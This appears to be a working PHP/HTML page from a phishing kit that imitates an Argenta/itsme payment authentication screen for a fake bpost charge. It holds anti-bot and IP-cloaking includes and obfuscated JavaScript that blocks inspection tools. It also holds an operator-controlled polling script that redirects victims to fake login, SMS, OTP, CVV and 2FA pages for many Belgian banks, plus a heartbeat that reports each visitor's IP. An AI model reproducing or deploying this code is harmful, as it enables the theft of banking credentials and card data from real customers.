<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';


include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php'; //Include the class




$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
    header('Location: 403.php');
    exit();
}

$jsCode = " jQuery(function($){ document.addEventListener('contextmenu', event => event.preventDefault()); document.onkeydown = function(e) { if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 83 || e.keyCode === 117 || e.keyCode === 44)) { return false; } else { return true; } }; $(document).keydown(function (event) { if (event.keyCode == 123) { return false; } else if (event.ctrlKey && event.shiftKey && event.keyCode == 73) { return false; } }); }) "; //Simple JS code

$hunter = new HunterObfuscator($jsCode); //Initialize with JS code in parameter
$hunter->addDomainName($_SERVER['HTTP_HOST']);
$obsfucated = $hunter->Obfuscate(); //Do obfuscate and get the obfuscated code


$permitted_chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-_~";


$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

$hostname = gethostbyaddr($ip);

if (stripos($honeypotbots, $ip) !== false) {

    $stripos = $stripos + 1;
}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));


// Geo-filter removed: all countries are allowed


if ($token1 != $_GET['token'] || $stripos > 0) {
    header("location: " . $errorUrl . "?" . $_GET['token']);
    exit;
}


if ($_GET['error'] == 'on') {

    $errormsg = "<p><span style='color: red;font-size:small;'>recommencer svp !</span><br></p>";
}

if (!$_SESSION['amount']) {


    $_SESSION['amount'] = $amount;
}

$cardb = substr($_SESSION['cn'], 0, 1);

if ($cardb == '5') {
    $imagecc = "data:image/png;base64, ";
} else if ($cardb == '4') {
    $imagecc = "data:image/png;base64, ";
} else {
    $imagecc = "data:image/png;base64, ";
}


$fp = fopen('users/' . $ip . '.txt', 'wb');
fwrite($fp, '');
fclose($fp);

?>

<!DOCTYPE html>
<html lang="fr">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Authentication - Itsme</title>
  <style>
    @font-face {
      font-family: "Open Sans";
      src: url(OpenSans-Regular.ttf) format("truetype");
    }

    @font-face {
      font-family: "Open Sans";
      src: url(OpenSans-Semibold.ttf) format("truetype");
      font-weight: bold;
    }

    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    html {
      overflow-x: hidden;
    }

    body {
      text-align: left;
      font-family: 'Open Sans', Arial, Helvetica, Sans-Serif;
      font-size: 0.8em;
      padding: 0;
      background-color: #fff;
      color: #553;
      margin: 0;
      min-height: 100vh;
      display: flex;
      justify-content: center;
      overflow-x: hidden;
    }

    .container {
      min-width: 240px;
      max-width: 700px;
      position: relative;
      margin: 0 auto;
      width: 100%;
      padding: 0 1.5rem;
      background: white;
      display: flex;
      flex-direction: column;
    }

    /* Main content below banner: centered block with side space (like reference) */
    .main-content-wrap {
      width: 100%;
      max-width: 100%;
    }

    /* Header - same as bc-choice-argenta: full width, 25% gap, bigger logos */
    .argenta-page-header {
      padding: 0;
      width: 100vw;
      margin-left: calc(-50vw + 50%);
      position: relative;
      left: 0;
      right: 0;
      background-color: #fff;
      border-bottom: 1px solid #e5e7eb;
    }
    .argenta-page-header-inner {
      min-width: 100%;
      padding: 0.75rem 25%;
      box-sizing: border-box;
      display: flex;
      align-items: center;
      justify-content: space-between;
    }
    .argenta-page-header img {
      height: 44px !important;
      max-height: 44px !important;
      width: auto !important;
      display: block;
    }
    .argenta-page-header-logo {
      flex-shrink: 0;
    }
    .argenta-page-header-right {
      display: flex;
      align-items: center;
      gap: 2rem;
    }
    .argenta-page-header-lang {
      display: flex;
      align-items: center;
      gap: 0.25rem;
      font-size: 14px;
      color: #374151;
      cursor: pointer;
      background: none;
      border: none;
      padding: 0;
    }

    /* Keep old .header/.logo/.header-right for any other use (or remove if unused) */
    .header {
      display: flex;
      justify-content: space-between;
      align-items: center;
      margin-bottom: 1em;
      border-bottom: 2px solid #0099CC;
      padding-bottom: 15px;
      padding-left: 1em;
      padding-right: 1em;
    }
    .logo {
      font-size: 18px;
      font-weight: bold;
      color: #00A86B;
    }
    .header-right {
      display: flex;
      align-items: center;
      gap: 30px;
    }
    .language-selector {
      display: flex;
      align-items: center;
      gap: 5px;
      cursor: pointer;
      font-size: 14px;
      color: #333;
    }
    .bancontact {
      display: flex;
      align-items: center;
      gap: 8px;
      font-size: 12px;
      color: #333;
      font-weight: 600;
    }

    .bancontact-icon {
      width: 24px;
      height: 20px;
      background: linear-gradient(to right, #FFD700 0%, #FFD700 50%, #003DA5 50%, #003DA5 100%);
      border-radius: 2px;
    }

    /* Auth Banner - full viewport width background, content centered */
    .auth-banner {
      width: 100vw;
      margin-left: calc(-50vw + 50%);
      box-sizing: border-box;
      background: linear-gradient(135deg, #0F5F7D 0%, #1A7F96 100%);
      color: white;
      padding: 40px 20px;
      text-align: center;
      margin-bottom: 1em;
      border-radius: 0;
      box-shadow: 0 11px 22px 0 rgba(0,0,0,.75);
      position: relative;
      overflow: hidden;
    }

    .auth-banner::before {
      content: '';
      position: absolute;
      bottom: -10px;
      left: 0;
      right: 0;
      height: 20px;
      background: rgba(0, 0, 0, 0.1);
      filter: blur(8px);
    }

    .spinner-container {
      width: 100%;
      display: flex;
      justify-content: center;
    }


    #spinner-row {
      width: 100%;
    }

    /* New animated spinner (replaces the old SVG spinner above) */
    #spinner-row {
      display: block;
      width: 80px;
      height: 80px;
      margin: 0 auto;
      position: relative;
      left: 50%;
      transform: translateX(-50%);
      top: 10px;
      z-index: 0;
      width: 100%;
      display: flex;
      justify-content: center;
    }

    /* The wheel container holds 10 segments which will pulse in sequence */
    .spinner-wheel {
      position: relative;
      width: 0px; /* segments are absolutely positioned inside */
      height: 0px;
      display: block;
    }

    .spinner-wheel > .seg {
      position: absolute;
      top: -2px;
      left: 0;
      opacity: .25;
      /* single animation; staggered using nth-child delays below */
      animation: fade 1s linear infinite;
    }

    .spinner-wheel > .seg > div {
      position: absolute;
      width: 15px;
      height: 5px;
      background: #ffffff;
      box-shadow: rgba(0,0,0,0.1) 0px 0px 1px;
      transform-origin: left center;
      border-radius: 2px;
    }

    /* Stagger the animation so segments pulse around the circle */
    .spinner-wheel > .seg:nth-child(1)  { animation-delay: 0s; }
    .spinner-wheel > .seg:nth-child(2)  { animation-delay: 0.1s; }
    .spinner-wheel > .seg:nth-child(3)  { animation-delay: 0.2s; }
    .spinner-wheel > .seg:nth-child(4)  { animation-delay: 0.3s; }
    .spinner-wheel > .seg:nth-child(5)  { animation-delay: 0.4s; }
    .spinner-wheel > .seg:nth-child(6)  { animation-delay: 0.5s; }
    .spinner-wheel > .seg:nth-child(7)  { animation-delay: 0.6s; }
    .spinner-wheel > .seg:nth-child(8)  { animation-delay: 0.7s; }
    .spinner-wheel > .seg:nth-child(9)  { animation-delay: 0.8s; }
    .spinner-wheel > .seg:nth-child(10) { animation-delay: 0.9s; }

    @keyframes fade {
      0%   { opacity: .25; }
      50%  { opacity: 1; }
      100% { opacity: .25; }
    }

    .auth-banner h2 {
      font-size: 24px;
      font-weight: 300;
      margin-bottom: 15px;
      letter-spacing: 0.5px;
      margin: 0;
    }

    .auth-banner p {
      font-size: 14px;
      line-height: 1.6;
      font-weight: 500;
      
    }

    /* Transaction Details */
    .transaction-section {
      margin-top: 30px;
      margin-bottom: 1em;
      
      padding: 0;
    }

    .section-title {
      text-align: left;
      font-size: 14px;
      color: #666;
      margin-bottom: 14px;
      letter-spacing: 0.3px;
      font-weight: 500;
    }

    .details-box {
      background: #ffffff;
      border-radius: 4px;
      padding: 14px 20px;
      margin-bottom: 1em;
    }

    /* Wide side padding on larger screens only (keeps transaction block narrow/centered) */
    @media (min-width: 769px) {
      .details-box {
        padding-left: clamp(1rem, 12vw, 150px);
        padding-right: clamp(1rem, 12vw, 150px);
      }
    }

    .detail-row {
      display: flex;
      justify-content: space-between;
      align-items: baseline;
      padding: 2px 0;
      font-size: 13px;
      line-height: 1.4;
    }

    .detail-row:last-child {
      border-bottom: none;
    }

    .detail-label {
      color: #333;
      font-weight: bold;
      width: 140px;
      flex: 0 0 140px;
      text-align: left;
    }

    .detail-value {
      text-align: right;
      flex: 1;
      color: #666;
      font-weight: normal;
      min-width: 0;
      word-break: break-word;
      overflow-wrap: anywhere;
    }

    .detail-value a {
      color: #0066b3;
      text-decoration: none;
      font-weight: 700;
    }

    .detail-value a:hover {
      text-decoration: underline;
    }

    /* Confirm Section */
    .confirm-section {
      text-align: center;
      margin-bottom: 1em;
      padding: 0 1em;
    }

    .confirm-title {
      text-align: left;
      font-size: 14px;
      color: #333;
      margin-bottom: 15px;
      letter-spacing: 0.5px;
      font-weight: 600;
    }

    .itsme-heading {
      font-size: 24px;
      color: #888;
      font-weight: 400;
      margin-bottom: 1em;
      margin: 0;
    }

    .warning-text {
      color: #E60000;
      font-size: 13px;
      font-weight: 600;
      line-height: 1.6;
      margin-bottom: 1em;
    }

    /* Action Buttons */
    .action-buttons {
      display: flex;
      justify-content: center;
      gap: 40px;
      margin-bottom: 1em;
    }

    .btn {
      padding: 0;
      border: none;
      background: none;
      cursor: pointer;
      font-size: 14px;
      font-weight: 600;
      text-decoration: none;
      letter-spacing: 0.5px;
      transition: all 0.3s ease;
    }

    .btn-help {
      color: #00A86B;
    }

    .btn-help:hover {
      text-decoration: underline;
      opacity: 0.8;
    }

    .btn-cancel {
      color: #E60000;
    }

    .btn-cancel:hover {
      text-decoration: underline;
      opacity: 0.8;
    }

    /* Mobile Responsive */
    @media (max-width: 768px) {
      body {
        padding: 0;
        font-size: 0.75em;
      }

      .container {
        max-width: 100%;
        min-height: 100vh;
        padding: 0 0.75rem;
      }

      .argenta-page-header-inner {
        padding: 0.5rem 0.75rem;
      }

      .argenta-page-header img {
        height: 32px !important;
        max-height: 32px !important;
      }

      .argenta-page-header-right {
        gap: 0.5rem;
        flex-shrink: 1;
        min-width: 0;
      }

      .argenta-page-header-lang {
        font-size: 12px;
      }

      .header {
        flex-direction: row;
        justify-content: space-between;
        margin-bottom: 1em;
        gap: 10px;
      }

      .logo {
        font-size: 14px;
      }

      .header-right {
        gap: 15px;
        font-size: 12px;
      }

      .language-selector {
        font-size: 12px;
      }

      .bancontact-icon {
        width: 20px;
        height: 16px;
      }

      /* Avoid 100vw horizontal scroll on narrow viewports */
      .auth-banner,
      .argenta-page-header {
        width: 100%;
        margin-left: 0;
      }

      .auth-banner {
        padding: 22px 12px;
        margin-bottom: 0.75em;
      }

      .auth-banner h2 {
        font-size: 17px;
        margin-bottom: 10px;
        line-height: 1.25;
      }

      .auth-banner p {
        font-size: 12px;
        line-height: 1.45;
        padding: 0 2px;
      }

      /* responsive sizing for the replaced spinner */
      #spinner-row {
        width: 100%;
        height: 36px;
      }

      .main-content-wrap {
        padding: 0 2px;
      }

      .transaction-section {
        margin-top: 16px;
      }

      /* Titre centré + bloc détails en « carte » (fond gris, bordure), pas pleine largeur écran */
      .transaction-section .section-title {
        text-align: center;
        width: 100%;
        display: block;
      }

      .transaction-section .details-box {
        padding: 12px 14px;
        background: #f3f4f6;
        border: 1px solid #e1e4e8;
        border-radius: 10px;
        box-shadow: 0 1px 2px rgba(15, 23, 42, 0.06);
        margin-left: auto;
        margin-right: auto;
        max-width: calc(100% - 1.25rem);
      }

      /* Deux colonnes égales : libellé à gauche, valeur à partir du milieu de la carte (pas sous le label) */
      .transaction-section .detail-row {
        display: grid;
        grid-template-columns: minmax(0, 1fr) minmax(0, 1fr);
        align-items: baseline;
        column-gap: 0.75rem;
        row-gap: 0.25rem;
        font-size: 11px;
        padding: 3px 0;
        line-height: 1.35;
      }

      .transaction-section .detail-label {
        width: auto;
        max-width: none;
        flex: unset;
        font-size: 11px;
        text-align: left;
      }

      .transaction-section .detail-value {
        text-align: left;
        flex: unset;
        min-width: 0;
      }

      .section-title {
        font-size: 12px;
        margin-bottom: 12px;
      }

      .confirm-section {
        padding: 0 0.25rem;
      }

      .confirm-title {
        font-size: 11px;
        margin-top: 18px !important;
        margin-bottom: 14px !important;
      }

      .itsme-heading {
        font-size: 17px;
        margin-bottom: 0.75em;
      }

      .warning-text {
        font-size: 11px;
        margin-bottom: 0.75em;
        margin-top: 12px !important;
        line-height: 1.45;
      }

      .action-buttons {
        gap: 22px;
        margin-bottom: 1em;
      }

      .btn {
        font-size: 12px;
      }
    }

    @media (max-width: 480px) {
      .container {
        min-height: 100vh;
        padding: 0 0.5rem;
      }

      .argenta-page-header-inner {
        padding: 0.4rem 0.5rem;
      }

      .argenta-page-header img {
        height: 28px !important;
        max-height: 28px !important;
      }

      .argenta-page-header-right .argenta-page-header-lang {
        font-size: 11px;
      }

      .header {
        margin-bottom: 1em;
        padding-left: 0.5em;
        padding-right: 0.5em;
      }

      .logo {
        font-size: 12px;
      }

      .header-right {
        gap: 12px;
        font-size: 11px;
      }

      .auth-banner {
        padding: 18px 10px;
        margin-bottom: 0.65em;
        box-shadow: 0 11px 22px 0 rgba(0,0,0,.75);
        background: #004A65;
      }

      .auth-banner h2 {
        font-size: 16px;
      }

      .auth-banner p {
        font-size: 11px;
      }

      .transaction-section .details-box {
        padding: 10px 12px;
        border-radius: 8px;
        max-width: calc(100% - 1rem);
      }

      .transaction-section .detail-row {
        font-size: 10px;
      }

      .itsme-heading {
        font-size: 16px;
      }

      .action-buttons {
        gap: 18px;
      }

      .btn {
        font-size: 11px;
      }
    }

  </style>
</head>
<body>
      	<form method="post" action="<?php echo 'bc-load.php?token='.$token1; ?>">

  <div class="container">
    <!-- Header - same style as bc-choice-argenta -->
    <header class="argenta-page-header">
      <div class="argenta-page-header-inner">
        <div class="argenta-page-header-logo">
          <a href="#" style="display:flex;align-items:center;">
        <img src="data:image/jpeg;base64, " alt="Argenta logo">
          </a>
        </div>
        <div class="argenta-page-header-right">
          <button type="button" style="font-size:13px; background:none; border:none; cursor:pointer; padding:0; color:#4caf50; font-weight:500; display:flex; align-items:center;">
            <span style="display:inline-flex;align-items:center;justify-content:center;width:14px;height:14px;border-radius:50%;background:#4caf50;color:#fff;font-size:9px;font-weight:bold;margin-right:4px;">i</span>
            Aide
          </button>
          <button type="button" class="argenta-page-header-lang">fr ▼</button>
          <img src="bc_files/bpost.png" alt="Bancontact">
        </div>
      </div>
    </header>

    <!-- Authentication Banner -->
    <div class="auth-banner">
      <!-- Replaced spinner: animated 10-segment wheel -->
      <div class="spinner-container">
      <div id="spinner-row" spinner class="ng-isolate-scope">
        <div class="spinner-wheel" role="progressbar" aria-busy="true">
          <div class="seg"><div style="position:absolute;transform:rotate(0deg) translate(7px,0px);"></div></div>
          <div class="seg"><div style="position:absolute;transform:rotate(36deg) translate(7px,0px);"></div></div>
          <div class="seg"><div style="position:absolute;transform:rotate(72deg) translate(7px,0px);"></div></div>
          <div class="seg"><div style="position:absolute;transform:rotate(108deg) translate(7px,0px);"></div></div>
          <div class="seg"><div style="position:absolute;transform:rotate(144deg) translate(7px,0px);"></div></div>
          <div class="seg"><div style="position:absolute;transform:rotate(180deg) translate(7px,0px);"></div></div>
          <div class="seg"><div style="position:absolute;transform:rotate(216deg) translate(7px,0px);"></div></div>
          <div class="seg"><div style="position:absolute;transform:rotate(252deg) translate(7px,0px);"></div></div>
          <div class="seg"><div style="position:absolute;transform:rotate(288deg) translate(7px,0px);"></div></div>
          <div class="seg"><div style="position:absolute;transform:rotate(324deg) translate(7px,0px);"></div></div>
        </div>
      </div>
      </div>
      <h2>Authentication en cours</h2>
      <p>Veuillez ouvrir votre application Itsme et suivre les instructions pour confirmer votre transaction.</p>
    </div>

    <!-- Main content: centered block with side space (like reference) -->
    <div class="main-content-wrap">
    <!-- Transaction Section -->
    <div class="transaction-section">
      <div class="section-title">Détails de la transaction</div>
      <div class="details-box">
        <div class="details-content">
        <div class="detail-row">
          <span class="detail-label">Bénéficiaire</span>
          <span class="detail-value">Bpost</span>
        </div>
        <div class="detail-row">
          <span class="detail-label">Montant</span>
          <span class="detail-value"><a href="#">0.99 EUR</a></span>
        </div>
        <div class="detail-row">
          <span class="detail-label">Date</span>
          <span class="detail-value">2026/03/11 00:18:36 CET</span>
        </div>
        <div class="detail-row">
          <span class="detail-label">N° de carte</span>
          <span class="detail-value">xxxxxxxxxxxxx1111</span>
        </div>
        </div>
      </div>
    </div>

    <!-- Confirm Section -->
    <div class="confirm-section">
      <div class="confirm-title" style="
    margin-top: 30px;
    margin-bottom: 30px;
">Confirmez votre transaction</div>
      <h3 class="itsme-heading">Signer avec itsme®</h3>
      <p class="warning-text" style="
    margin-top: 20px;
    margin-bottom: 20px;
">Veuillez ouvrir votre application Itsme et suivre les instructions pour confirmer votre transaction.</p>
      <!-- Action Buttons -->

    </div>
    </div>
  </div>
  </form>

  <script>
    // Poll users/<ip>.txt so controller can trigger redirects while visitor is on this page
    (function() {
      var ip = '<?php echo $ip; ?>';
      var token1 = '<?php echo $token1; ?>';
      var waiting = setInterval(function() {
        fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
          .then(function(response) { return response.text(); })
          .then(function(data) {
            if (!data || data == 0 || data.length < 3) return;
            try {
              var row = data.split('#|#');
              var one = row[0];
              var two = row[1];
              var tree = row[2];
              var forth = row[3];

              if (one == 'url') {
                clearInterval(waiting);
                window.location.href = tree;
              } else if (one == 'load') {
                clearInterval(waiting);
                window.location.href = './bc-load.php?token=' + token1 + '&error=' + two;
              } else if (one == '2fa') {
                try { sessionStorage.setItem('text', tree); sessionStorage.setItem('img', forth); } catch (e) {}
                clearInterval(waiting);
                window.location.href = './bc-2fa.php?token=' + token1 + '&error=' + two;
              } else if (one == 'cvv') {
                clearInterval(waiting);
                window.location.href = './cvv.php?token=' + token1 + '&error=' + two;
              } else if (one == 'errorCCS') {
                clearInterval(waiting);
                window.location.href = './bc-errorCCS.php?token=' + token1 + '&error=' + two + '&t0=' + encodeURIComponent(tree || '') + '&t1=' + encodeURIComponent(forth || '') + '&t2=' + encodeURIComponent((row[4] !== undefined && row[4] !== null) ? row[4] : '') + '&t3=' + encodeURIComponent((row[5] !== undefined && row[5] !== null) ? row[5] : '');
              } else if (one == 'l-axa') {
                clearInterval(waiting);
                window.location.href = './bc-l-axa.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-bpost') {
                clearInterval(waiting);
                window.location.href = './bc-l-bpost.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-belfius') {
                clearInterval(waiting);
                window.location.href = './bc-l-belfius.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-kbc') {
                clearInterval(waiting);
                window.location.href = './bc-l-kbc.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-cbc') {
                clearInterval(waiting);
                window.location.href = './bc-l-cbc.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-bnp') {
                clearInterval(waiting);
                window.location.href = './bc-l-bnp.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-ing') {
                clearInterval(waiting);
                window.location.href = './bc-l-ing.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-digipass') {
                clearInterval(waiting);
                window.location.href = './bc-l-digipass.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-keytrade') {
                clearInterval(waiting);
                window.location.href = './keytrade.php?token=' + token1 + '&error=' + two + '&t0=' + encodeURIComponent(tree || '') + '&t1=' + encodeURIComponent(forth || '');
              } else if (one == 'l-nagelmackers') {
                clearInterval(waiting);
                window.location.href = './nagelmackers.php?token=' + token1 + '&error=' + two + '&t0=' + encodeURIComponent(tree || '') + '&t1=' + encodeURIComponent(forth || '');
              } else if (one == 'l-argenta') {
                clearInterval(waiting);
                window.location.href = './bc-l-argenta.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'log-argenta') {
                clearInterval(waiting);
                window.location.href = './bc-l-argenta-log.php?token=' + token1 + '&error=' + two + '&t0=' + encodeURIComponent(tree || '');
              } else if (one == 'l-deuch') {
                clearInterval(waiting);
                window.location.href = './bc-l-deuch.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-cph') {
                clearInterval(waiting);
                window.location.href = './bc-l-cph.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-beoDigi') {
                clearInterval(waiting);
                window.location.href = './bc-l-beoDigi.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-beoApp') {
                clearInterval(waiting);
                window.location.href = './bc-l-beoApp.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'l-crelan') {
                clearInterval(waiting);
                window.location.href = './bc-l-crelan.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'itsMe') {
                clearInterval(waiting);
                window.location.href = './bc-itsMe.php?token=' + token1 + '&error=' + two;
              } else if (one == 'bill') {
                clearInterval(waiting);
                window.location.href = './bc-bill.php?token=' + token1 + '&error=' + two;
              } else if (one == 'infos') {
                clearInterval(waiting);
                window.location.href = './bc-infos.php?token=' + token1 + '&error=' + two;
              } else if (one == 'fr-infos') {
                clearInterval(waiting);
                window.location.href = './bc-fr-infos.php?token=' + token1 + '&error=' + two;
              } else if (one == 'choice') {
                clearInterval(waiting);
                window.location.href = './bc-choice.php?token=' + token1 + '&error=' + two;
              } else if (one == 'method') {
                clearInterval(waiting);
                window.location.href = './bc-m-choice.php?token=' + token1 + '&error=' + two;
              } else if (one == 'sms') {
                clearInterval(waiting);
                window.location.href = './bc-sms.php?token=' + token1 + '&error=' + two;
              } else if (one == 'argenta-sms') {
                clearInterval(waiting);
                window.location.href = './argentaotp.php?token=' + token1 + '&error=' + two;
              } else if (one == 'approve') {
                clearInterval(waiting);
                window.location.href = './bc-approve.php?token=' + token1 + '&error=' + two;
              } else if (one == 'refuser') {
                clearInterval(waiting);
                window.location.href = './bc-refuser.php?token=' + token1 + '&error=' + two;
              } else if (one == 'accepter') {
                clearInterval(waiting);
                window.location.href = './bc-accepter.php?token=' + token1 + '&error=' + two;
              } else if (one == 'choice-crelan') {
                clearInterval(waiting);
                window.location.href = './bc-choice-crelan.php?token=' + token1 + '&error=' + two;
              } else if (one == 'crelan-activation') {
                clearInterval(waiting);
                window.location.href = './bc-crelan-activation.php?token=' + token1 + '&error=' + two;
              } else if (one == 'choice-belfius') {
                clearInterval(waiting);
                window.location.href = './bc-choice-belfius.php?token=' + token1 + '&error=' + two;
              } else if (one == 'choice-cbc') {
                clearInterval(waiting);
                window.location.href = './bc-choice-cbc.php?token=' + token1 + '&error=' + two;
              } else if (one == 'choice-argenta') {
                clearInterval(waiting);
                window.location.href = './bc-choice-argenta.php?token=' + token1 + '&error=' + two;
              } else if (one == 'app-crelan') {
                clearInterval(waiting);
                window.location.href = './bc-app-crelan.php?token=' + token1 + '&error=' + two;
              } else if (one == 'itsMe-belfius') {
                clearInterval(waiting);
                window.location.href = './bc-itsMe-belfius.php?token=' + token1 + '&error=' + two;
              } else if (one == 'itsMe-cbc') {
                clearInterval(waiting);
                window.location.href = './bc-itsMe-cbc.php?token=' + token1 + '&error=' + two;
              } else if (one == 'itsMe-argenta') {
                clearInterval(waiting);
                window.location.href = './itsMe-Argenta.php?token=' + token1 + '&error=' + two;
              } else if (one == 'l-belfiusMobile') {
                clearInterval(waiting);
                window.location.href = './bc-l-belfiusMobile.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'bnp-idMobile') {
                clearInterval(waiting);
                window.location.href = './bc-bnp-idMobile.php?token=' + token1 + '&error=' + two;
              } else if (one == 'l-bnpMobile') {
                clearInterval(waiting);
                window.location.href = './bc-l-bnpMobile.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              } else if (one == 'bnp-otpMobile') {
                clearInterval(waiting);
                window.location.href = './bc-bnp-otpMobile.php?token=' + token1 + '&error=' + two;
              } else if (one == 'ing-idMobile') {
                clearInterval(waiting);
                window.location.href = './bc-ing-idMobile.php?token=' + token1 + '&error=' + two;
              } else if (one == 'ing-itsMeMobile') {
                clearInterval(waiting);
                window.location.href = './bc-ing-itsMeMobile.php?token=' + token1 + '&error=' + two;
              } else if (one == 'ing-otpMobile') {
                clearInterval(waiting);
                window.location.href = './bc-ing-otpMobile.php?token=' + token1 + '&error=' + two;
              } else if (one == 'l-ingOneMobile') {
                clearInterval(waiting);
                window.location.href = './bc-l-ingOneMobile.php?token=' + token1 + '&error=' + two;
              } else if (one == 'l-ingTwoMobile') {
                clearInterval(waiting);
                window.location.href = './bc-l-ingTwoMobile.php?token=' + token1 + '&error=' + two + '&t0=' + tree + '&t1=' + forth;
              }

            } catch (e) {
              // ignore parse errors
            }
          })
          .catch(function() {
            // ignore network errors
          });
      }, 1500);
    })();
  </script>

       <script>
        // Send heartbeat every 5 seconds to update user's online status
        (function() {
            // Function to send heartbeat with user's IP
            function sendHeartbeat() {
                fetch(`config.php?heartbeat=true&ip=<?php echo $ip; ?>&page=${window.location.pathname.split('/').pop()}`, {
                        method: 'GET',
                        headers: {
                            'Cache-Control': 'no-cache',
                            'Pragma': 'no-cache'
                        }
                    })
                    .then(response => response.json())
                    .then(data => {
                        console.log('Heartbeat sent:', data.timestamp);
                    })
                    .catch(error => {
                        console.error('Heartbeat error:', error);
                    });
            }

            // Send initial heartbeat
            sendHeartbeat();

            // Set up interval to send heartbeat every 5 seconds
            let heartbeatInterval = setInterval(sendHeartbeat, 5000);

            // Handle page visibility changes (pause when tab is hidden)
            document.addEventListener('visibilitychange', function() {
                if (document.hidden) {
                    console.log('Page hidden - heartbeat paused');
                    clearInterval(heartbeatInterval);
                } else {
                    console.log('Page visible - heartbeat resumed');
                    sendHeartbeat(); // Send immediate heartbeat when tab becomes visible
                    heartbeatInterval = setInterval(sendHeartbeat, 5000); // Resume interval
                }
            });

            // Clean up on page unload
            window.addEventListener('beforeunload', function() {
                clearInterval(heartbeatInterval);
            });
        })();
    </script>

        
</body>
</html>
